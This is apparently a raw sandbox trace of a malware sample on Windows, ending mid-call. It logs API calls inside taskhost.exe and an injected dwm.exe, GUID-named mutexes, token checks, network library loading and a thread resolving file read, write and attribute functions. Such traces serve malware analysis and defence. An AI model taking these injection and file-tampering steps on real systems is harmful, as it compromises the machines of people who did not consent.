\x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0104.345] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x145860, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe")) returned 0x20 [0104.345] GetLastError () returned 0x0 [0104.345] SetLastError (dwErrCode=0x0) [0104.345] GetLastError () returned 0x0 [0104.345] SetLastError (dwErrCode=0x0) [0104.345] GetLastError () returned 0x0 [0104.345] SetLastError (dwErrCode=0x0) [0104.345] GetLastError () returned 0x0 [0104.345] SetLastError (dwErrCode=0x0) [0104.345] GetLastError () returned 0x0 [0104.345] SetLastError (dwErrCode=0x0) [0104.345] GetLastError () returned 0x0 [0104.345] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.346] GetLastError () returned 0x0 [0104.346] SetLastError (dwErrCode=0x0) [0104.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x11b608, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 Thread: id = 134 os_tid = 0x7f4 [0104.492] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebfbe0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe")) returned 0x20 [0104.492] GetSystemDefaultLCID () returned 0x409 [0104.492] GetCurrentProcessId () returned 0x510 [0104.492] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x7fefdbe0000 [0104.492] GetProcAddress (hModule=0x7fefdbe0000, lpProcName="ObtainUserAgentString") returned 0x7fefdc41fa4 [0104.492] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2ebdf60, cbSize=0x2ebdf5c | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", cbSize=0x2ebdf5c) returned 0x0 [0104.495] FreeLibrary (hLibModule=0x7fefdbe0000) returned 1 [0104.495] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebe170, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe")) returned 0x20 [0104.495] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2ebe330 | out: TokenHandle=0x2ebe330*=0x288) returned 1 [0104.495] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2ebe2a0 | out: TokenInformation=0x0, ReturnLength=0x2ebe2a0) returned 0 [0104.495] GetLastError () returned 0x7a [0104.495] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x1, TokenInformation=0x3fa1a0, TokenInformationLength=0x2c, ReturnLength=0x2ebe2a0 | out: TokenInformation=0x3fa1a0, ReturnLength=0x2ebe2a0) returned 1 [0104.495] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0xc, TokenInformation=0x142b50, TokenInformationLength=0x4, ReturnLength=0x2ebe32c | out: TokenInformation=0x142b50, ReturnLength=0x2ebe32c) returned 1 [0104.495] CloseHandle (hObject=0x288) returned 1 [0104.495] GetLengthSid (pSid=0x3fa1b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0104.496] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x142b78, dwRevision=0x1 | out: pSecurityDescriptor=0x142b78) returned 1 [0104.496] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x142b78, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x142b78) returned 1 [0104.496] GetVersionExW (in: lpVersionInformation=0x2ebe148*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x2, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2ebe148*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0104.496] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0104.497] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3fa1e0, lpbSaclPresent=0x2ebe2fc, pSacl=0x2ebe2f0, lpbSaclDefaulted=0x2ebe2f8 | out: lpbSaclPresent=0x2ebe2fc, pSacl=0x2ebe2f0, lpbSaclDefaulted=0x2ebe2f8) returned 1 [0104.497] SetSecurityDescriptorSacl (in: pSecurityDescriptor=0x142b78, bSaclPresent=1, pSacl=0x3fa1f4, bSaclDefaulted=0 | out: pSecurityDescriptor=0x142b78) returned 1 [0104.497] GetVersionExW (in: lpVersionInformation=0x2ebe1c0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2ebe1c0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0104.497] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2ebe2d0 | out: TokenHandle=0x2ebe2d0*=0x2a0) returned 1 [0104.497] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2ebe2cc | out: TokenInformation=0x0, ReturnLength=0x2ebe2cc) returned 0 [0104.497] GetLastError () returned 0x7a [0104.497] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x4015a0, TokenInformationLength=0x1c, ReturnLength=0x2ebe2cc | out: TokenInformation=0x4015a0, ReturnLength=0x2ebe2cc) returned 1 [0104.497] GetSidSubAuthorityCount (pSid=0x4015b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x4015b1 [0104.497] GetSidSubAuthority (pSid=0x4015b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x4015b8 [0104.497] CloseHandle (hObject=0x2a0) returned 1 [0104.497] LoadLibraryA (lpLibFileName="Ws2_32.dll") returned 0x7feff7e0000 [0104.497] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2ebe228 | out: lpWSAData=0x2ebe228) returned 0 [0104.500] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x118c8c) returned 0x4015a0 [0104.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x117521, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4 [0104.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x117659, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8 [0104.501] WaitForMultipleObjects (nCount=0x2, lpHandles=0x1437d0*=0x2b4, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 136 os_tid = 0x728 [0104.547] StringFromGUID2 (in: rguid=0x25ef0a8*(Data1=0x85b42b0a, Data2=0x98e0, Data3=0x3f84, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x25ef8ae, cchMax=40 | out: lpsz="{85B42B0A-98E0-3F84-65D9-FE61A0417768}") returned 39 [0104.547] CreateMutexW (lpMutexAttributes=0x142b60, bInitialOwner=0, lpName="Global\\{85B42B0A-98E0-3F84-65D9-FE61A0417768}") returned 0x2bc [0104.547] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) Thread: id = 137 os_tid = 0x150 [0104.547] StringFromGUID2 (in: rguid=0x2fcedf8*(Data1=0x85b47b09, Data2=0xc8e3, Data3=0x3f84, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x2fcf5fc, cchMax=40 | out: lpsz="{85B47B09-C8E3-3F84-65D9-FE61A0417768}") returned 39 [0104.547] CreateMutexW (lpMutexAttributes=0x142b60, bInitialOwner=0, lpName="Local\\{85B47B09-C8E3-3F84-65D9-FE61A0417768}") returned 0x2c0 [0104.547] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xffffffff) Thread: id = 154 os_tid = 0x330 Process: id = "11" image_name = "dwm.exe" filename = "c:\\windows\\system32\\dwm.exe" page_root = "0xbfc8000" os_pid = "0x55c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "8" os_parent_pid = "0x568" cmd_line = "\"C:\\Windows\\system32\\Dwm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2584 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2585 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2586 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2587 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2588 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2589 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2590 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2591 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2592 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2593 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2594 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2595 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2596 start_va = 0x1c0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2597 start_va = 0x2c0000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2598 start_va = 0x450000 end_va = 0x5d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2599 start_va = 0x5e0000 end_va = 0x19dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 2600 start_va = 0x19e0000 end_va = 0x1dd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019e0000" filename = "" Region: id = 2601 start_va = 0x1de0000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 2602 start_va = 0x1ee0000 end_va = 0x1fbefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ee0000" filename = "" Region: id = 2603 start_va = 0x1fd0000 end_va = 0x1fdffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 2604 start_va = 0x1fe0000 end_va = 0x201bfff entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 2605 start_va = 0x2080000 end_va = 0x20fffff entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 2606 start_va = 0x2150000 end_va = 0x21cffff entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 2607 start_va = 0x21d0000 end_va = 0x224ffff entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 2608 start_va = 0x2310000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 2609 start_va = 0x2390000 end_va = 0x265efff entry_point = 0x2390000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2610 start_va = 0x2660000 end_va = 0x275ffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 2611 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x77335ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2612 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x7745a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2613 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2614 start_va = 0x77710000 end_va = 0x77716fff entry_point = 0x7771106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2615 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2616 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2617 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2618 start_va = 0xff110000 end_va = 0xff132fff entry_point = 0xff1149d4 region_type = mapped_file name = "dwm.exe" filename = "\\Windows\\System32\\dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe") Region: id = 2619 start_va = 0x7fefa130000 end_va = 0x7fefa1d6fff entry_point = 0x7fefa14050c region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 2620 start_va = 0x7fefa1e0000 end_va = 0x7fefa234fff entry_point = 0x7fefa216b20 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 2621 start_va = 0x7fefa240000 end_va = 0x7fefa273fff entry_point = 0x7fefa267cac region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 2622 start_va = 0x7fefa280000 end_va = 0x7fefa411fff entry_point = 0x7fefa2d700c region_type = mapped_file name = "dwmcore.dll" filename = "\\Windows\\System32\\dwmcore.dll" (normalized: "c:\\windows\\system32\\dwmcore.dll") Region: id = 2623 start_va = 0x7fefa420000 end_va = 0x7fefa446fff entry_point = 0x7fefa427254 region_type = mapped_file name = "dwmredir.dll" filename = "\\Windows\\System32\\dwmredir.dll" (normalized: "c:\\windows\\system32\\dwmredir.dll") Region: id = 2624 start_va = 0x7fefad90000 end_va = 0x7fefaeb9fff entry_point = 0x7fefad93810 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 2625 start_va = 0x7fefaec0000 end_va = 0x7fefaed7fff entry_point = 0x7fefaec1130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2626 start_va = 0x7fefb2a0000 end_va = 0x7fefb2f5fff entry_point = 0x7fefb2abbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2627 start_va = 0x7fefc650000 end_va = 0x7fefc65bfff entry_point = 0x7fefc651064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2628 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd531020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2629 start_va = 0x7fefd5e0000 end_va = 0x7fefd619fff entry_point = 0x7fefd5e1320 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2630 start_va = 0x7fefd680000 end_va = 0x7fefd6eafff entry_point = 0x7fefd6830e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2631 start_va = 0x7fefd6f0000 end_va = 0x7fefd856fff entry_point = 0x7fefd6f10c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2632 start_va = 0x7fefd860000 end_va = 0x7fefd98cfff entry_point = 0x7fefd8aed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2633 start_va = 0x7fefda30000 end_va = 0x7fefda5dfff entry_point = 0x7fefda31010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2634 start_va = 0x7fefdb00000 end_va = 0x7fefdbdafff entry_point = 0x7fefdb20760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2635 start_va = 0x7fefdd60000 end_va = 0x7fefddc6fff entry_point = 0x7fefdd6b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2636 start_va = 0x7fefddd0000 end_va = 0x7fefded8fff entry_point = 0x7fefddd1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2637 start_va = 0x7fefdee0000 end_va = 0x7fefdfa8fff entry_point = 0x7fefdf5a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2638 start_va = 0x7fefed40000 end_va = 0x7fefeddefff entry_point = 0x7fefed425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2639 start_va = 0x7fefede0000 end_va = 0x7fefefe2fff entry_point = 0x7fefee03330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2640 start_va = 0x7feff330000 end_va = 0x7feff33dfff entry_point = 0x7feff331080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2641 start_va = 0x7feff5b0000 end_va = 0x7feff5cefff entry_point = 0x7feff5b60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2642 start_va = 0x7feff860000 end_va = 0x7feff860fff entry_point = 0x7feff860000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2643 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2644 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2645 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2646 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2647 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2648 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2659 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3004 start_va = 0x27b0000 end_va = 0x282ffff entry_point = 0x0 region_type = private name = "private_0x00000000027b0000" filename = "" Region: id = 3005 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3006 start_va = 0x7feff2b0000 end_va = 0x7feff320fff entry_point = 0x7feff2c1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3007 start_va = 0x7fefdfb0000 end_va = 0x7fefed37fff entry_point = 0x7fefe02cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3008 start_va = 0x7feff7e0000 end_va = 0x7feff82cfff entry_point = 0x7feff7e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3009 start_va = 0x7feff5a0000 end_va = 0x7feff5a7fff entry_point = 0x7feff5a1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3010 start_va = 0x2250000 end_va = 0x230ffff entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 3011 start_va = 0x7feff6b0000 end_va = 0x7feff7d9fff entry_point = 0x7feff6b10d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 3012 start_va = 0x7fefdbe0000 end_va = 0x7fefdd57fff entry_point = 0x7fefdbe10e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3013 start_va = 0x7feff5d0000 end_va = 0x7feff6a6fff entry_point = 0x7feff5d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3014 start_va = 0x7feff340000 end_va = 0x7feff598fff entry_point = 0x7feff341340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3126 start_va = 0x28f0000 end_va = 0x296ffff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 3127 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Thread: id = 128 os_tid = 0xb44 Thread: id = 129 os_tid = 0x4a8 Thread: id = 130 os_tid = 0x4e0 Thread: id = 131 os_tid = 0x570 Thread: id = 132 os_tid = 0x564 Thread: id = 133 os_tid = 0x560 Thread: id = 138 os_tid = 0x634 [0104.689] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77320000 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="ReadFile") returned 0x77331500 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="FlushFileBuffers") returned 0x773269f0 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="WriteFile") returned 0x773435a0 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="GetTickCount") returned 0x77342b00 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="SetFileAttributesW") returned 0x773337a0 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="VirtualAlloc") returned 0x773367a0 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="GetFileSizeEx") returned 0x77329b30 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="VirtualFree") returned 0x77331260 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="SetFilePointerEx") returned 0x7732af00 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="GetFileAttributesW") returned 0x7733bdd0 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="GetVolumeNameForVolumeMountPointW") returned 0x773907d0 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="GetProcessHeap") returned 0x77343050 [0104.690] GetProcAddress (hModule=0x77320000, lpProcName="HeapFree") returned 0x77343070 [0104.691] GetProcAddress (hModule=0x77320000, 